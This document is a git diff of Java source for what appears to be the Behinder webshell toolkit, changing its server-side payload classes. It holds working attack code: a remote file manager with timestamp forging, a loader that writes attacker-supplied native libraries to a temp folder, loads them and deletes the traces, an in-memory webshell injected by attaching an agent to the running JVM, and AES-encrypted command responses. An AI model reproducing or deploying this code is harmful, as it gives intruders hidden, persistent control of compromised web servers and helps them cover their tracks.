obj.put("type", file.isDirectory() ? "directory" : "file");
obj.put("name", file.getName());
obj.put("size", file.length() + "");
- obj.put("perm", file.canRead() + "," + file.canWrite() + "," + file.canExecute());
+ obj.put("perm", this.getFilePerm(file));
obj.put("lastModified", (new SimpleDateFormat("yyyy/MM/dd HH:mm:ss")).format(new Date(file.lastModified())));
return obj;
}
- private String list(PageContext page) throws Exception {
+ private boolean isOldJava() {
+ String version = System.getProperty("java.version");
+ return version.compareTo("1.7") < 0;
+ }
+
+ private String getFilePerm(File file) {
+ String permStr = "";
+ if (this.isWindows()) {
+ permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-");
+ } else {
+ String version = System.getProperty("java.version");
+ if (version.compareTo("1.7") >= 0) {
+ try {
+ this.getClass();
+ Class FilesCls = Class.forName("java.nio.file.Files");
+ this.getClass();
+ Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes");
+ this.getClass();
+ Class PathsCls = Class.forName("java.nio.file.Paths");
+ this.getClass();
+ Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions");
+ Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]);
+ Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]);
+ Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions").invoke(attrs));
+ permStr = result.toString();
+ } catch (Exception var11) {
+ }
+ } else {
+ permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-");
+ }
+ }
+
+ return permStr;
+ }
+
+ private String list() throws Exception {
String result = "";
File f = new File(path);
List objArr = new ArrayList();
objArr.add(this.warpFileObj(new File(".")));
objArr.add(this.warpFileObj(new File("..")));
if (f.isDirectory() && f.listFiles() != null) {
- File[] var5 = f.listFiles();
- int var6 = var5.length;
+ File[] var4 = f.listFiles();
+ int var5 = var4.length;
- for(int var7 = 0; var7 < var6; ++var7) {
- File temp = var5[var7];
+ for(int var6 = 0; var6 < var5; ++var6) {
+ File temp = var4[var6];
objArr.add(this.warpFileObj(temp));
}
}
@@ -133,7 +162,7 @@ private String list(PageContext page) throws Exception {
return result;
}
- private String show(PageContext page) throws Exception {
+ private String show() throws Exception {
if (charset == null) {
charset = System.getProperty("file.encoding");
}
@@ -156,7 +185,7 @@ private String show(PageContext page) throws Exception {
return sb.toString();
}
- private String create(PageContext page) throws Exception {
+ private String create() throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path);
fso.write(this.base64decode(content));
@@ -166,7 +195,7 @@ private String create(PageContext page) throws Exception {
return result;
}
- private Map renameFile(PageContext page) throws Exception {
+ private Map renameFile() throws Exception {
Map result = new HashMap();
File oldFile = new File(path);
File newFile = new File(newPath);
@@ -181,7 +210,7 @@ private Map renameFile(PageContext page) throws Exception {
return result;
}
- private String createFile(PageContext page) throws Exception {
+ private String createFile() throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path);
fso.close();
@@ -189,7 +218,7 @@ private String createFile(PageContext page) throws Exception {
return result;
}
- private String createDirectory(PageContext page) throws Exception {
+ private String createDirectory() throws Exception {
String result = "";
File dir = new File(path);
dir.mkdirs();
@@ -197,11 +226,11 @@ private String createDirectory(PageContext page) throws Exception {
return result;
}
- private void download(PageContext page) throws Exception {
+ private void download() throws Exception {
FileInputStream fis = new FileInputStream(path);
byte[] buffer = new byte[1024000];
- int length = 0;
- ServletOutputStream sos = page.getResponse().getOutputStream();
+ int length = buffer.length;
+ ServletOutputStream sos = this.Response.getOutputStream();
while((length = fis.read(buffer)) > 0) {
sos.write(Arrays.copyOfRange(buffer, 0, length));
}
@@ -211,7 +240,7 @@ private void download(PageContext page) throws Exception {
fis.close();
}
- private String append(PageContext page) throws Exception {
+ private String append() throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path, true);
fso.write(this.base64decode(content));
@@ -221,7 +250,7 @@ private String append(PageContext page) throws Exception {
return result;
}
- private Map delete(PageContext page) throws Exception {
+ private Map delete() throws Exception {
Map result = new HashMap();
File f = new File(path);
if (f.exists()) {
@@ -240,16 +269,30 @@ private Map delete(PageContext page) throws Exception {
return result;
}
- private String getTimeStamp(PageContext page) throws Exception {
+ private String getTimeStamp() throws Exception {
String result = "";
DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
File f = new File(path);
Map timeStampObj = new HashMap();
if (f.exists()) {
- timeStampObj.put("modifyTimeStamp", df.format(new Date(f.lastModified())));
- if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
- }
-
+ this.getClass();
+ Class FilesCls = Class.forName("java.nio.file.Files");
+ this.getClass();
+ Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes");
+ this.getClass();
+ Class PathsCls = Class.forName("java.nio.file.Paths");
+ Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]);
+ Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]);
+ Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime");
+ Object createTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("creationTime").invoke(attrs));
+ Object lastAccessTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("lastAccessTime").invoke(attrs));
+ Object lastModifiedTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("lastModifiedTime").invoke(attrs));
+ String createTimeStamp = df.format(new Date((Long)createTime));
+ String lastAccessTimeStamp = df.format(new Date((Long)lastAccessTime));
+ String lastModifiedTimeStamp = df.format(new Date((Long)lastModifiedTime));
+ timeStampObj.put("createTime", createTimeStamp);
+ timeStampObj.put("lastAccessTime", lastAccessTimeStamp);
+ timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp);
result = this.buildJson(timeStampObj, true);
return result;
} else {
@@ -257,29 +300,26 @@ private String getTimeStamp(PageContext page) throws Exception {
}
}
- private String updateTimeStamp(PageContext page) throws Exception {
+ private boolean isWindows() {
+ return System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0;
+ }
+
+ private String updateTimeStamp() throws Exception {
String result = "";
DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
File f = new File(path);
if (f.exists()) {
f.setLastModified(df.parse(modifyTimeStamp).getTime());
- String version = System.getProperty("java.version");
- if (version.compareTo("1.7") >= 0 && System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
+ if (!this.isOldJava()) {
Class PathsCls = Class.forName("java.nio.file.Paths");
- Class PathCls = Class.forName("java.nio.file.Path");
Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView");
Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime");
- Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", PathCls, BasicFileAttributeViewCls);
- Object attributes = getFileAttributeView.invoke(PathsCls.getMethod("get", URI.class).invoke(path), BasicFileAttributeViewCls);
- Object createTime = FileTimeCls.getMethod("fromMillis", Long.class).invoke(df.parse(createTimeStamp).getTime());
- Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.class).invoke(df.parse(modifyTimeStamp).getTime());
- Object accessTime = FileTimeCls.getMethod("fromMillis", Long.class).invoke(df.parse(accessTimeStamp).getTime());
+ Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class);
+ Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]);
+ Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(createTimeStamp).getTime());
+ Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(accessTimeStamp).getTime());
+ Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(modifyTimeStamp).getTime());
BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime);
- if (!createTimeStamp.equals("")) {
- }
-
- if (!accessTimeStamp.equals("")) {
- }
}
result = "时间戳修改成功。";
@@ -365,14 +405,29 @@ private byte[] base64decode(String base64Text) throws Exception {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
- result = (byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Decoder");
Decoder = Base64.newInstance();
- result = (byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text));
}
return result;
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/LoadLibrary.java b/src/main/java/net/rebeyond/behinder/payload/java/LoadLibrary.java
new file mode 100644
index 0000000..d7c5859
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/payload/java/LoadLibrary.java
@@ -0,0 +1,32 @@
+package net.rebeyond.behinder.payload.java;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+
+public class LoadLibrary {
+ public void loadLibrary() {
+ try {
+ String var1 = "injector.dll";
+ if (System.getProperty("os.arch").contains("64")) {
+ var1 = "injector64.dll";
+ }
+
+ InputStream var2 = this.getClass().getClassLoader().getResourceAsStream(var1);
+ byte[] var3 = new byte[524288];
+ int var4 = var2.read(var3);
+ var2.close();
+ File var5 = File.createTempFile("injector", ".dll");
+ var5.deleteOnExit();
+ FileOutputStream var6 = new FileOutputStream(var5, false);
+ var6.write(var3, 0, var4);
+ var6.close();
+ System.load(var5.getAbsolutePath());
+ } catch (Throwable var7) {
+ var7.printStackTrace();
+ }
+
+ }
+
+ public native void inject(byte[] var1);
+}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/LoadNativeLibrary.java b/src/main/java/net/rebeyond/behinder/payload/java/LoadNativeLibrary.java
new file mode 100644
index 0000000..9d91905
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/payload/java/LoadNativeLibrary.java
@@ -0,0 +1,325 @@
+package net.rebeyond.behinder.payload.java;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.UUID;
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpSession;
+
+public class LoadNativeLibrary implements Runnable {
+ public static String whatever;
+ public static String action;
+ public static String fileContent;
+ public static String payload;
+ public static String filePath;
+ private ServletRequest Request;
+ private ServletResponse Response;
+ private HttpSession Session;
+ private String libraryPath;
+
+ public boolean equals(Object obj) {
+ HashMap result = new HashMap();
+ boolean var21 = false;
+
+ ServletOutputStream so = null;
+ label208: {
+ try {
+ var21 = true;
+ this.fillContext(obj);
+ if (action.equals("test")) {
+ try {
+ System.load("c:/web/JavaNative.dll");
+ this.freeFile("test");
+ } catch (Exception var45) {
+ } catch (Error var46) {
+ } finally {
+ ;
+ }
+ }
+
+ if (action.equals("load")) {
+ try {
+ this.loadLibrary(this.base64decode(fileContent));
+ result.put("status", "success");
+ result.put("msg", "Native库加载成功");
+ var21 = false;
+ } catch (Exception var43) {
+ result.put("status", "fail");
+ result.put("msg", "Native库加载失败:" + var43.getMessage());
+ var21 = false;
+ } catch (Error var44) {
+ result.put("status", "fail");
+ result.put("msg", "Native库加载失败:" + var44.getMessage());
+ var21 = false;
+ }
+ } else {
+ String libraryPath;
+ if (action.equals("execute")) {
+ try {
+ System.gc();
+ libraryPath = this.loadLibrary(this.base64decode(fileContent));
+ (new Thread(new LoadNativeLibrary(libraryPath))).start();
+ result.put("status", "success");
+ result.put("msg", "Payload加载成功");
+ var21 = false;
+ } catch (Exception var41) {
+ result.put("status", "fail");
+ result.put("msg", "Payload加载异常:" + var41.getMessage());
+ var21 = false;
+ } catch (Error var42) {
+ result.put("status", "fail");
+ result.put("msg", "Payload加载错误:" + var42.getMessage());
+ var21 = false;
+ }
+ } else if (action.equals("freeFile")) {
+ try {
+ System.gc();
+ libraryPath = this.loadLibrary(this.base64decode(fileContent));
+ (new Thread(new LoadNativeLibrary(libraryPath))).start();
+ result.put("status", "success");
+ result.put("msg", "Payload加载成功");
+ var21 = false;
+ } catch (Exception var39) {
+ result.put("status", "fail");
+ result.put("msg", "Payload加载异常:" + var39.getMessage());
+ var21 = false;
+ } catch (Error var40) {
+ result.put("status", "fail");
+ result.put("msg", "Payload加载错误:" + var40.getMessage());
+ var21 = false;
+ }
+ } else {
+ var21 = false;
+ }
+ }
+ break label208;
+ } catch (Exception var48) {
+ var21 = false;
+ } finally {
+ if (var21) {
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var36) {
+ }
+
+ }
+ }
+
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var37) {
+ }
+
+ return true;
+ }
+
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var38) {
+ }
+
+ return true;
+ }
+
+ private boolean isWindows() {
+ return System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0;
+ }
+
+ public String loadLibrary(byte[] fileContent) throws Exception {
+ String libSuffix = System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0 ? ".dll" : ".so";
+ String libPrefix = UUID.randomUUID().toString();
+ String tempDir = System.getProperty("java.io.tmpdir");
+ File library = new File(tempDir + File.separator + libPrefix + libSuffix);
+ library.deleteOnExit();
+ if (this.Session.getAttribute("nativeLibs") == null) {
+ List libs = new ArrayList();
+ libs.add(library.getAbsolutePath());
+ this.Session.setAttribute("nativeLibs", libs);
+ } else {
+ List libs = (List)this.Session.getAttribute("nativeLibs");
+ Iterator var7 = libs.iterator();
+
+ while(var7.hasNext()) {
+ String libPath = (String)var7.next();
+ (new File(libPath)).delete();
+ }
+
+ libs.add(library.getAbsolutePath());
+ }
+
+ FileOutputStream output = new FileOutputStream(library, false);
+ output.write(fileContent);
+ output.flush();
+ output.close();
+ System.load(library.getAbsolutePath());
+ return library.getAbsolutePath();
+ }
+
+ public void execute(byte[] payload) {
+ }
+
+ public LoadNativeLibrary() {
+ }
+
+ public LoadNativeLibrary(String libraryPath) {
+ this.libraryPath = libraryPath;
+ }
+
+ public void run() {
+ try {
+ if (action.equals("freeFile")) {
+ File libFile = new File(filePath);
+ String libFileName = libFile.getName();
+ this.freeFile(libFileName);
+ Thread.sleep(500L);
+ libFile.delete();
+ } else if (action.equals("execute")) {
+ this.load(this.base64decode(payload));
+ }
+ } catch (Exception var11) {
+ } finally {
+ if (this.isWindows()) {
+ this.selfUnload(this.libraryPath);
+ }
+
+ try {
+ Thread.sleep(500L);
+ } catch (InterruptedException var10) {
+ }
+
+ (new File(this.libraryPath)).delete();
+ }
+
+ }
+
+ public native void inject(byte[] var1);
+
+ public native int load(byte[] var1);
+
+ public native void freeFile(String var1);
+
+ public native void selfUnload(String var1);
+
+ private byte[] Encrypt(byte[] bs) throws Exception {
+ String key = this.Session.getAttribute("u").toString();
+ byte[] raw = key.getBytes("utf-8");
+ SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
+ Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
+ cipher.init(1, skeySpec);
+ byte[] encrypted = cipher.doFinal(bs);
+ return encrypted;
+ }
+
+ private String buildJson(Map entity, boolean encode) throws Exception {
+ StringBuilder sb = new StringBuilder();
+ String version = System.getProperty("java.version");
+ sb.append("{");
+ Iterator var5 = entity.keySet().iterator();
+
+ while(var5.hasNext()) {
+ String key = (String)var5.next();
+ sb.append("\"" + key + "\":\"");
+ String value = ((String)entity.get(key)).toString();
+ if (encode) {
+ Class Base64;
+ Object Encoder;
+ if (version.compareTo("1.9") >= 0) {
+ this.getClass();
+ Base64 = Class.forName("java.util.Base64");
+ Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
+ value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
+ } else {
+ this.getClass();
+ Base64 = Class.forName("sun.misc.BASE64Encoder");
+ Encoder = Base64.newInstance();
+ value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
+ value = value.replace("\n", "").replace("\r", "");
+ }
+ }
+
+ sb.append(value);
+ sb.append("\",");
+ }
+
+ if (sb.toString().endsWith(",")) {
+ sb.setLength(sb.length() - 1);
+ }
+
+ sb.append("}");
+ return sb.toString();
+ }
+
+ private String base64encode(String clearText) throws Exception {
+ String result = "";
+ String version = System.getProperty("java.version");
+ Class Base64;
+ Object Encoder;
+ if (version.compareTo("1.9") >= 0) {
+ this.getClass();
+ Base64 = Class.forName("java.util.Base64");
+ Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
+ result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, clearText.getBytes("UTF-8"));
+ } else {
+ this.getClass();
+ Base64 = Class.forName("sun.misc.BASE64Encoder");
+ Encoder = Base64.newInstance();
+ result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, clearText.getBytes("UTF-8"));
+ result = result.replace("\n", "").replace("\r", "");
+ }
+
+ return result;
+ }
+
+ private byte[] base64decode(String base64Text) throws Exception {
+ String version = System.getProperty("java.version");
+ byte[] result;
+ Class Base64;
+ Object Decoder;
+ if (version.compareTo("1.9") >= 0) {
+ this.getClass();
+ Base64 = Class.forName("java.util.Base64");
+ Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text));
+ } else {
+ this.getClass();
+ Base64 = Class.forName("sun.misc.BASE64Decoder");
+ Decoder = Base64.newInstance();
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text));
+ }
+
+ return result;
+ }
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
+}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/Loader.java b/src/main/java/net/rebeyond/behinder/payload/java/Loader.java
index 446d12f..840de57 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/Loader.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/Loader.java
@@ -14,7 +14,6 @@
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class Loader {
public static String libPath;
@@ -23,18 +22,16 @@ public class Loader {
private HttpSession Session;
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- this.Session = page.getSession();
- this.Response = page.getResponse();
- this.Request = page.getRequest();
HashMap result = new HashMap();
try {
+ this.fillContext(obj);
URL url = (new File(libPath)).toURI().toURL();
URLClassLoader urlClassLoader = (URLClassLoader)ClassLoader.getSystemClassLoader();
Method add = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
add.invoke(urlClassLoader, url);
+ Class c = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
result.put("status", "success");
} catch (Exception var8) {
result.put("status", "fail");
@@ -46,9 +43,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
} catch (Exception var7) {
- var7.printStackTrace();
}
return true;
@@ -120,4 +115,19 @@ private byte[] Encrypt(byte[] bs) throws Exception {
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/MemShell.java b/src/main/java/net/rebeyond/behinder/payload/java/MemShell.java
new file mode 100644
index 0000000..f91a92d
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/payload/java/MemShell.java
@@ -0,0 +1,225 @@
+package net.rebeyond.behinder.payload.java;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.lang.management.ManagementFactory;
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpSession;
+
+public class MemShell {
+ public static String whatever;
+ private ServletRequest Request;
+ private ServletResponse Response;
+ private HttpSession Session;
+ public static String type;
+ public static String libPath;
+ public static String path;
+ public static String password;
+
+ public boolean equals(Object obj) {
+ HashMap result = new HashMap();
+ boolean var12 = false;
+
+ ServletOutputStream so = null;
+ label99: {
+ try {
+ var12 = true;
+ this.fillContext(obj);
+ if (type.equals("Agent")) {
+ try {
+ this.doAgentShell();
+ result.put("status", "success");
+ result.put("msg", "MemShell Agent Injected Successfully.");
+ var12 = false;
+ } catch (Exception var16) {
+ result.put("status", "fail");
+ result.put("msg", var16.getMessage());
+ var12 = false;
+ }
+ } else if (type.equals("Filter")) {
+ var12 = false;
+ } else {
+ if (type.equals("Servlet")) {
+ }
+
+ var12 = false;
+ }
+ break label99;
+ } catch (Exception var17) {
+ result.put("status", "fail");
+ result.put("msg", var17.getMessage());
+ var12 = false;
+ } finally {
+ if (var12) {
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var13) {
+ }
+
+ }
+ }
+
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var14) {
+ }
+
+ return true;
+ }
+
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var15) {
+ }
+
+ return true;
+ }
+
+ public void doAgentShell() throws Exception {
+ try {
+ Class VirtualMachineCls = ClassLoader.getSystemClassLoader().loadClass("com.sun.tools.attach.VirtualMachine");
+ Method attachMethod = VirtualMachineCls.getDeclaredMethod("attach", String.class);
+ Method loadAgentMethod = VirtualMachineCls.getDeclaredMethod("loadAgent", String.class, String.class);
+ Object obj = attachMethod.invoke(VirtualMachineCls, getCurrentPID());
+ loadAgentMethod.invoke(obj, libPath, base64encode(path) + "|" + base64encode(password));
+ } catch (Exception var9) {
+ } catch (Error var10) {
+ } finally {
+ (new File(libPath)).delete();
+ }
+
+ }
+
+ private static String getCurrentPID() {
+ String name = ManagementFactory.getRuntimeMXBean().getName();
+ String pid = name.split("@")[0];
+ return pid;
+ }
+
+ private static byte[] base64decode(String base64Text) throws Exception {
+ String version = System.getProperty("java.version");
+ byte[] result;
+ Class Base64;
+ Object Decoder;
+ if (version.compareTo("1.9") >= 0) {
+ Base64 = Class.forName("java.util.Base64");
+ Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text));
+ } else {
+ Base64 = Class.forName("sun.misc.BASE64Decoder");
+ Decoder = Base64.newInstance();
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text));
+ }
+
+ return result;
+ }
+
+ private static String base64encode(String content) throws Exception {
+ String result = "";
+ String version = System.getProperty("java.version");
+ Class Base64;
+ Object Encoder;
+ if (version.compareTo("1.9") >= 0) {
+ Base64 = Class.forName("java.util.Base64");
+ Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
+ result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
+ } else {
+ Base64 = Class.forName("sun.misc.BASE64Encoder");
+ Encoder = Base64.newInstance();
+ result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
+ result = result.replace("\n", "").replace("\r", "");
+ }
+
+ return result;
+ }
+
+ public static byte[] getFileData(String filePath) throws Exception {
+ byte[] fileContent = new byte[0];
+ FileInputStream fis = new FileInputStream(new File(filePath));
+ byte[] buffer = new byte[10240000];
+
+ int length;
+ for(boolean var4 = false; (length = fis.read(buffer)) > 0; fileContent = mergeBytes(fileContent, Arrays.copyOfRange(buffer, 0, length))) {
+ }
+
+ fis.close();
+ return fileContent;
+ }
+
+ public static byte[] mergeBytes(byte[] a, byte[] b) throws Exception {
+ ByteArrayOutputStream output = new ByteArrayOutputStream();
+ output.write(a);
+ output.write(b);
+ return output.toByteArray();
+ }
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
+
+ private String buildJson(Map entity, boolean encode) throws Exception {
+ StringBuilder sb = new StringBuilder();
+ String version = System.getProperty("java.version");
+ sb.append("{");
+ Iterator var5 = entity.keySet().iterator();
+
+ while(var5.hasNext()) {
+ String key = (String)var5.next();
+ sb.append("\"" + key + "\":\"");
+ String value = ((String)entity.get(key)).toString();
+ if (encode) {
+ value = base64encode(value);
+ }
+
+ sb.append(value);
+ sb.append("\",");
+ }
+
+ if (sb.toString().endsWith(",")) {
+ sb.setLength(sb.length() - 1);
+ }
+
+ sb.append("}");
+ return sb.toString();
+ }
+
+ private byte[] Encrypt(byte[] bs) throws Exception {
+ String key = this.Session.getAttribute("u").toString();
+ byte[] raw = key.getBytes("utf-8");
+ SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
+ Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
+ cipher.init(1, skeySpec);
+ byte[] encrypted = cipher.doFinal(bs);
+ return encrypted;
+ }
+}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/NewScan.java b/src/main/java/net/rebeyond/behinder/payload/java/NewScan.java
index 82539d4..430e893 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/NewScan.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/NewScan.java
@@ -62,7 +62,6 @@ public void run() {
sessionObj.put("running", "false");
} catch (Exception var15) {
- var15.printStackTrace();
}
}
